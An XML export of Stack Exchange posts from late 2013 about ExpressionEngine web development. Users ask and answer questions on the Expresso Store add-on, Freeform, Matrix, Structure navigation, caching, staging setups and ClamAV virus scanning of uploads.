  <row Id="15262" PostTypeId="2" ParentId="7568" CreationDate="2013-11-01T10:53:31.063" Score="1" Body="&lt;p&gt;This is a bug in Store which only appears on servers running Windows/IIS. It is to do with PHP handling date formatting differently on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be fixed in the next version of Store.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T10:53:31.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15263" PostTypeId="2" ParentId="8885" CreationDate="2013-11-01T10:56:54.763" Score="2" Body="&lt;p&gt;You can't simply submit extra modifiers which weren't specified when you created the product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to submit custom text fields with the product, you need to specify them in your product tag. This is known as &quot;custom product modifiers&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/product_tag.html#inputcustom_modifier_name&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/product_tag.html#inputcustom_modifier_name&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T10:56:54.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15264" PostTypeId="2" ParentId="9121" CreationDate="2013-11-01T11:01:51.820" Score="1" Body="&lt;p&gt;I'm not sure exactly what the rest of your template code looks like, but there is certainly no limit on the number of times you can use the dynamic css variables like &lt;code&gt;store_product_price&lt;/code&gt; in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One caveat to remember is that they will only work inside your &lt;code&gt;{exp:store:product}&lt;/code&gt; tag. So you won't be able to display them outside of the product tag.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T11:01:51.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15265" PostTypeId="2" ParentId="9374" CreationDate="2013-11-01T11:05:36.930" Score="1" Body="&lt;p&gt;When you are testing the default country/region settings, be sure to clear your cart between each test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the fields only apply to new carts, the current value will remain in your cart until you click &quot;Empty Cart&quot; or delete all items from your cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, make sure you don't have mapped member fields interfering with your default country/region. If you have mapped these fields to member fields, then the member's currently stored country/region will take priority over the site-wide default country/region.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T11:05:36.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15266" PostTypeId="2" ParentId="9624" CreationDate="2013-11-01T11:09:27.290" Score="2" Body="&lt;p&gt;You can just do this with vanilla jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the update cart button as disabled by default:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Update Cart&quot; id=&quot;store_update_cart&quot; disabled /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then make your item quantity fields have a class you can use to target them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; class=&quot;store_item_qty&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And use jQuery to enable the button when the value changes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function() {&#xA;    $(&quot;.store_item_qty&quot;).update(function() {&#xA;        $(&quot;#store_update_cart&quot;).attr('disabled', false);&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T11:09:27.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15267" PostTypeId="2" ParentId="10255" CreationDate="2013-11-01T11:14:50.207" Score="1" Body="&lt;p&gt;It's not possible to do this natively using Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to do it would be to write an extension using the &lt;code&gt;store_order_recalculate_end&lt;/code&gt; hook:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html#store_order_recalculate_end&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/extension_hooks.html#store_order_recalculate_end&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can add an adjustment to the order depending on which payment method has been selected (and this would run right before the payment is submitted to the payment gateway, so as long as you tell your customers you will be adding a surcharge so that they expect the higher amount on their credit card statement).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T11:14:50.207" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15268" PostTypeId="2" ParentId="10086" CreationDate="2013-11-01T11:15:54.757" Score="1" Body="&lt;p&gt;It's not possible to change the order of the &lt;code&gt;{items}&lt;/code&gt; loop in the checkout tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to do this, the best method would be to use the native &lt;code&gt;{exp:query}&lt;/code&gt; tag to find all items for a particular order, and sort them by the channel (or whatever else you want).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T11:15:54.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15269" PostTypeId="2" ParentId="15260" CreationDate="2013-11-01T11:23:18.020" Score="2" Body="&lt;p&gt;This looks like a bug in Store and will be fixed in the next version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, if you need a fix you can open &lt;code&gt;third_party/store/src/Store/Module.php&lt;/code&gt; and around line 773 look for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;queryAndOrParam($query, 'order_status', ee()-&amp;gt;TMPL-&amp;gt;fetch_param('order_status'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change it to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;queryAndOrParam($query, 'order_status_name', ee()-&amp;gt;TMPL-&amp;gt;fetch_param('order_status'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do it!&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T11:23:18.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15270" PostTypeId="1" CreationDate="2013-11-01T11:58:09.063" Score="1" ViewCount="63" Body="&lt;p&gt;I've got a channel with CD's. So there are let say 10 entries.&#xA;Members can order these CD's. There is only one form to order the CD's.&#xA;It will look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;CD title 1:&amp;lt;/label&amp;gt;&amp;lt;select name=&quot;cd_title_one&quot; id=&quot;freeform_quantity&quot;&amp;gt;&#xA; &amp;lt;option value=&quot;&quot; selected=&quot;selected&quot;&amp;gt;Quantity&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;1&quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;2&quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA; etc...&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;label&amp;gt;CD title 2:&amp;lt;/label&amp;gt;&amp;lt;select name=&quot;cd_title_two&quot; id=&quot;freeform_quantity&quot;&amp;gt;&#xA;     &amp;lt;option value=&quot;&quot; selected=&quot;selected&quot;&amp;gt;Quantity&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;1&quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;     &amp;lt;option value=&quot;2&quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;     etc...&#xA;    &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to auto pupulate this with Freeform Pro? If not are there other solutions? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tnx&lt;/p&gt;&#xA;" OwnerUserId="1178" LastActivityDate="2013-11-01T11:58:09.063" Title="Freeform Pro auto populated order form" Tags="|solspace-freeform|forms|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15271" PostTypeId="2" ParentId="14622" CreationDate="2013-11-01T11:58:49.037" Score="0" Body="&lt;p&gt;Thanks for the responses. It turns out that it was a hosting issue!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2013-11-01T11:58:49.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15273" PostTypeId="1" CreationDate="2013-11-01T12:02:35.307" Score="1" ViewCount="112" Body="&lt;p&gt;I have an internal site on ExpressionEngine that allows employees to upload files using channel forms (formerly safecracker). I would like to change the name of the file to include the username of who uploaded it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen solutions here on stackexchange for doing this with image files with an add-on CE Images. I'm wondering if there is a solution for non-image files, preferably without an add-on.&lt;/p&gt;&#xA;" OwnerUserId="1217" LastActivityDate="2013-11-01T12:02:35.307" Title="Change the filename for file uploads in channel forms - non image files" Tags="|safecracker|file-uploads|channel-form|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15274" PostTypeId="1" AcceptedAnswerId="15288" CreationDate="2013-11-01T12:20:45.490" Score="2" ViewCount="96" Body="&lt;p&gt;Is there anyway to scan uploaded files for viruses? Or is there a solution to scan files on the server? If not, this would be an awesome add-on, if someone were to create it.&lt;/p&gt;&#xA;" OwnerUserId="1217" LastActivityDate="2013-11-01T18:37:53.317" Title="Scan uploaded files for viruses" Tags="|file-uploads|secure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15276" PostTypeId="2" ParentId="14420" CreationDate="2013-11-01T14:11:40.897" Score="0" Body="&lt;p&gt;It looks like the way you've structured your html would easily allow for moving the opening and closing html &lt;em&gt;outside&lt;/em&gt; of your Playa loop. Then by wrapping everything in just one conditional to check for relationships you can simplify and eliminate the need to conditionally output html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog_entries&quot; require_entry=&quot;yes&quot; url_title=&quot;{segment_3}&quot;}&#xA;&#xA;  {if related_articles}&#xA;     &amp;lt;div  id=&quot;related-articles&quot; class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;           &amp;lt;div class=&quot;col span-12&quot;&amp;gt;&amp;lt;h3&amp;gt;Related Articles&amp;lt;/h3&amp;gt;&amp;lt;/div&amp;gt;&#xA;              {related_articles}&#xA;                 &amp;lt;div class=&quot;col span-4&quot;&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;/blog/article/{related_articles:url_title}&quot;&amp;gt;{related_articles:title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                 &amp;lt;/div&amp;gt;&#xA;              {/related_articles}&#xA;        &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;&#xA;  {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-11-01T14:11:40.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15277" PostTypeId="1" AcceptedAnswerId="15477" CreationDate="2013-11-01T15:41:07.840" Score="1" ViewCount="115" Body="&lt;p&gt;Is it possible to show one child page as a main navigation item? I tried the include parameter but it's not quite right.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The parameter &quot;include=&quot; can be used to selectively show specific pages from the same level. &lt;a href=&quot;http://buildwithstructure.com/tags/navigation/&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/tags/navigation/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It needs to be a child page but also be a main navigation link.&lt;/p&gt;&#xA;" OwnerUserId="853" LastActivityDate="2013-11-06T16:43:37.960" Title="Showing one child page in main navigation" Tags="|structure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15278" PostTypeId="2" ParentId="15256" CreationDate="2013-11-01T16:05:51.833" Score="3" Body="&lt;p&gt;&lt;code&gt;collection=&quot;&quot;&lt;/code&gt; isn't a parameter on the &lt;a href=&quot;http://www.solspace.com/docs/freeform/entries/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;exp:freeform:entries&lt;/strong&gt;&lt;/a&gt; tag in Freeform 4.x. You use &lt;code&gt;form_name=&quot;&lt;/code&gt;&quot; or &lt;code&gt;form_id=&quot;&quot;&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a read through the &lt;a href=&quot;http://www.solspace.com/docs/freeform/upgrade_3.x-4.x/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Freeform 3.x to 4.x Guide&lt;/strong&gt;&lt;/a&gt; as tags/parameters have changed.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-01T16:13:03.403" LastActivityDate="2013-11-01T16:13:03.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15279" PostTypeId="1" AcceptedAnswerId="15318" CreationDate="2013-11-01T16:07:17.730" Score="2" ViewCount="87" Body="&lt;p&gt;All fields using the FF Matrix fieldtype (version 1.3.5) have suddently stopped working. My client can no longer upload files, and the fields can no longer be expanded to add new rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an old but very active site using EE 1.6.8 build 20100121. The FF Matrix fields are the heart of the site, and my client reports that they were working fine until yesterday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known issue? Is there an update to FF Matrix that is compatible with EE 1.6.8 which could fix the problem? Or some other fix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brian&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-11-02T02:57:35.893" Title="Unable to upload files with FF Matrix 1.3.5" Tags="|matrix|file-uploads|ee1|fieldtype|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15280" PostTypeId="2" ParentId="15277" CreationDate="2013-11-01T16:32:09.267" Score="1" Body="&lt;p&gt;My understanding is that this is not possible using Structure tags. The navigation works off the hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best option is to use jQuery to manually insert the navigation item. Here's a rough how-to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set your &lt;code&gt;{exp:structure:nav}&lt;/code&gt; tag to use &lt;code&gt;add_unique_ids=&quot;yes&quot;&lt;/code&gt;. Let's say this outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li id=&quot;link1&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li id=&quot;link2&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li id=&quot;link3&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use jQuery to insert your new nav link where appropriate. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#link1').after('&amp;lt;li id=&quot;inserted&quot;&amp;gt;&amp;lt;/li&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will get you this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li id=&quot;link1&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li id=&quot;inserted&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li id=&quot;link2&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li id=&quot;link3&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There may be a jump in the nav list as the item is inserted so I'd suggest hiding the UL with CSS and then showing it after the insert with JS... something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul {&#xA;    display: none;&#xA;}&#xA;&#xA;$('ul').show();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to adjust the selectors to work with your code.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-01T16:32:09.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15281" PostTypeId="1" CreationDate="2013-11-01T17:14:18.697" Score="3" ViewCount="215" Body="&lt;p&gt;I've been developing CMS and now EE websites for so long I forget how fast a static website it. Had to save a CMS website as static earlier. Speeds went from approx. 200 to 300ms to 30ms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My own site I get approx. 150ms speeds with EE caching. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed CE Cache and now get approx. 50 to 100ms speeds, so it does help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My own site as a static site is approx. 30ms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speed is extremely important! So important I am wondering whether to ditch EE and go for static. But I am not giving up! Surely there are ways to make a EE site comparable to static.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then found Solspace's &quot;Static Page Caching&quot;. I have not tried this as I have to purchase it and already just purchased CE Cache. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... I wondered if anyone has any experience with the two, if one is faster than the other? &lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2013-11-02T03:02:22.503" Title="CE Cache or Solspace Static Page Caching: One Faster than the Other?" Tags="|cache|ce-cache|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15282" PostTypeId="2" ParentId="15281" CreationDate="2013-11-01T17:39:32.507" Score="4" Body="&lt;p&gt;I have run into this issue before and I was in the same boat. And &quot;Static Page Caching&quot; didn't do it for me, CE Cache did. I learned that I had to make sure I was really caching the site correctly, such as the right areas and embeds. Also I made sure that I wrote my markup in the best way I could to reduce queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps, I have always found that before I even start to cache any page, I really make sure my markup reduces the amount of queries. &lt;/p&gt;&#xA;" OwnerUserId="1173" LastEditorUserId="28" LastEditDate="2013-11-02T03:02:22.503" LastActivityDate="2013-11-02T03:02:22.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15283" PostTypeId="1" AcceptedAnswerId="15284" CreationDate="2013-11-01T17:49:46.707" Score="2" ViewCount="268" Body="&lt;p&gt;On my current project the production site has the following folder structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--system&#xA;--config&#xA;--public_html&#xA;  -assets&#xA;  -index.php&#xA;  -admin.php&#xA;  -etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, the staging site I need to create is different:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--system&#xA;--config&#xA;--public_html&#xA;  |&#xA;  |staging_subdirectory&#xA;    -index.php&#xA;    -admin.php&#xA;    -etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both sites will have the system folder above web root and use focuslab's config setup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Git workflow is also involved, so my best guess is to create a &quot;staging&quot; branch with the specific folder structure and only push to staging from that branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use a subdomain, but who would I set the $system_path variable located in the index.php and admin.php?  Is staging overrides the way to go?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="532" LastActivityDate="2013-11-01T17:55:40.330" Title="File structure for a staging site is different from production" Tags="|config|focus-lab-master-config|config-overrides|staging-server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15284" PostTypeId="2" ParentId="15283" CreationDate="2013-11-01T17:55:40.330" Score="2" Body="&lt;p&gt;I recently had this same issue. I resolved this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I pointed my staging domain to: | staging_subdirectory / public_html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And file structure looked like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--system&#xA;--config&#xA;--public_html&#xA;  |&#xA;  |staging_subdirectory&#xA;    -system&#xA;    -config&#xA;    -public_html&#xA;        -index.php&#xA;        -admin.php&#xA;        -etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I deployed production to &lt;code&gt;/&lt;/code&gt; and staging to &lt;code&gt;/public_html/staging_subdirectory/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-01T17:55:40.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15285" PostTypeId="1" CreationDate="2013-11-01T18:13:09.017" Score="3" ViewCount="94" Body="&lt;p&gt;Just upgraded to Matrix 2.5.9 on an EE 2.5.3 site, and I'm experiencing a problem with images columns in Matrix rows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I create a new entry&lt;/li&gt;&#xA;&lt;li&gt;I add a Matrix row with text in one column, and an image in the other&lt;/li&gt;&#xA;&lt;li&gt;I Submit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One of two things happens:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the image column is required, the submit fails, and I am told &quot;The [column name] column is required.&quot; The column is empty, as if I never added an image.&lt;/li&gt;&#xA;&lt;li&gt;If the image column is NOT required, the submit is successful, but when I go back to edit the entry, that image is missing.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In the database, the image column for the Matrix row is blank (as opposed to NULL), but the rest of the row looks right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I edit an existing entry, I have no issues with the existing images saving and persisting - they are not deleted - but new rows that I create on an existing entry have the same issue (images that are added don't get saved to the DB). Anyone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="537" LastActivityDate="2013-11-01T23:03:41.353" Title="After upgrade, Matrix won't save image references" Tags="|matrix|bug|" AnswerCount="0" CommentCount="3" ClosedDate="2013-11-02T03:01:11.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="15286" PostTypeId="1" CreationDate="2013-11-01T18:24:06.600" Score="1" ViewCount="144" Body="&lt;p&gt;Using sagepay_server gateway in test mode can get to payment page fine but on submit I get sagepay errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP Status Code: 500&#xA;HTTP Status Message: The request was unsuccessful due to an unexpected condition encountered by the server.&#xA;Error Code : 5006&#xA;Error Description : Unable to redirect to Vendor's web site. The Vendor failed to provide a RedirectionURL.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Return URL is in place in the checkout tag, using return=&quot;shop/order/ORDER_HASH&quot; which usually works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings for clients sagepay account are correct.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastEditorUserId="150" LastEditDate="2013-11-01T22:19:36.533" LastActivityDate="2013-11-01T22:20:02.253" Title="Expresso-store sagepay errors" Tags="|expresso-store|expresso|server|sagepay|" AnswerCount="1" CommentCount="1" ClosedDate="2013-11-02T02:59:29.550" ContentLicense="CC BY-SA 3.0" />
  <row Id="15287" PostTypeId="2" ParentId="15249" CreationDate="2013-11-01T18:35:19.673" Score="1" Body="&lt;p&gt;Now that you have the search form looking better, try looking at your search results tag. Specifically, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.solspace.com/docs/super_search/search/#category&quot; rel=&quot;nofollow&quot;&gt;category[]&lt;/a&gt;&lt;/strong&gt; This field allows users to search on categories. Default behaviour is&#xA;  searching on category names. To switch this to category ID or URL&#xA;  titles, use the category_indicator parameter in the Results tag&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Do you have the category_indicator parameter setup on your results tag?&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-01T18:35:19.673" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15288" PostTypeId="2" ParentId="15274" CreationDate="2013-11-01T18:37:53.317" Score="3" Body="&lt;p&gt;On my servers I use &lt;a href=&quot;http://www.clamav.net/&quot; rel=&quot;nofollow&quot;&gt;Clam AntiVirus&lt;/a&gt;. It is free, have good db and has &lt;em&gt;&lt;a href=&quot;http://www.clamav.net/doc/latest/html/node32.html&quot; rel=&quot;nofollow&quot;&gt;clamscan&lt;/a&gt;&lt;/em&gt;  which can be used with system commands. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For integration native upload need to make ext. used hook&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/filemanager/index.html#file-after-save&quot; rel=&quot;nofollow&quot;&gt;file_after_save&lt;/a&gt;.  &lt;/li&gt;&#xA;&lt;li&gt;For Playa - &lt;a href=&quot;http://docs.pixelandtonic.com/assets/developers/hooks/upload_file.html&quot; rel=&quot;nofollow&quot;&gt;assets_upload_file&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Based on pass/fail indication which &lt;em&gt;clamscan&lt;/em&gt; is return, make decision - keep it or delete it.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-01T18:37:53.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15290" PostTypeId="2" ParentId="11871" CreationDate="2013-11-01T19:52:02.940" Score="2" Body="&lt;p&gt;Often problems like this are caused by the PHP Suhosin security patch, which has a configuration option to limit the number of POST variables in a single request. If you have a long publish page or lots of matrix fields it is easy to exceed this limit if it's set too low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to check this is to look at your PHP Info (under Tools &gt; Utilities &gt; PHP Info in the CP) and search for Suhosin or configuration options like &lt;code&gt;suhosin.post.max_vars&lt;/code&gt;. Ideally this would be set very high (say 2000+).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T19:52:02.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15292" PostTypeId="2" ParentId="15241" CreationDate="2013-11-01T20:25:21.647" Score="0" Body="&lt;p&gt;There is probably another error which isn't displaying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try removing &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; from your checkout tag to see any errors which you may not have added inline error variables for in your template.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T20:25:21.647" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15293" PostTypeId="2" ParentId="12730" CreationDate="2013-11-01T21:47:51.020" Score="1" Body="&lt;p&gt;Generally if there are no errors displaying, but the form is submitting, it's because there are some other validation errors which you don't have inline errors in your template for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try removing &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; from your tag, then resubmit the form and see which errors display.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T21:47:51.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15294" PostTypeId="2" ParentId="11949" CreationDate="2013-11-01T21:51:13.723" Score="1" Body="&lt;p&gt;You don't need to import the merchant library or call &lt;code&gt;purchase_return()&lt;/code&gt; manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you pass the correct &lt;code&gt;return_url&lt;/code&gt; to the gateway during the &lt;code&gt;purchase()&lt;/code&gt; request, then Store will handle the response and call the code inside your &lt;code&gt;purchase_return()&lt;/code&gt; method for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in the &lt;a href=&quot;https://github.com/expressodev/ci-merchant/blob/master/libraries/merchant/merchant_authorize_net_sim.php#L81&quot; rel=&quot;nofollow&quot;&gt;Auth.net gateway&lt;/a&gt;, the purchase method looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$request = array();&#xA;// ...&#xA;$request['x_relay_url'] = $this-&amp;gt;param('return_url');&#xA;$request['x_cancel_url'] = $this-&amp;gt;param('cancel_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T21:51:13.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
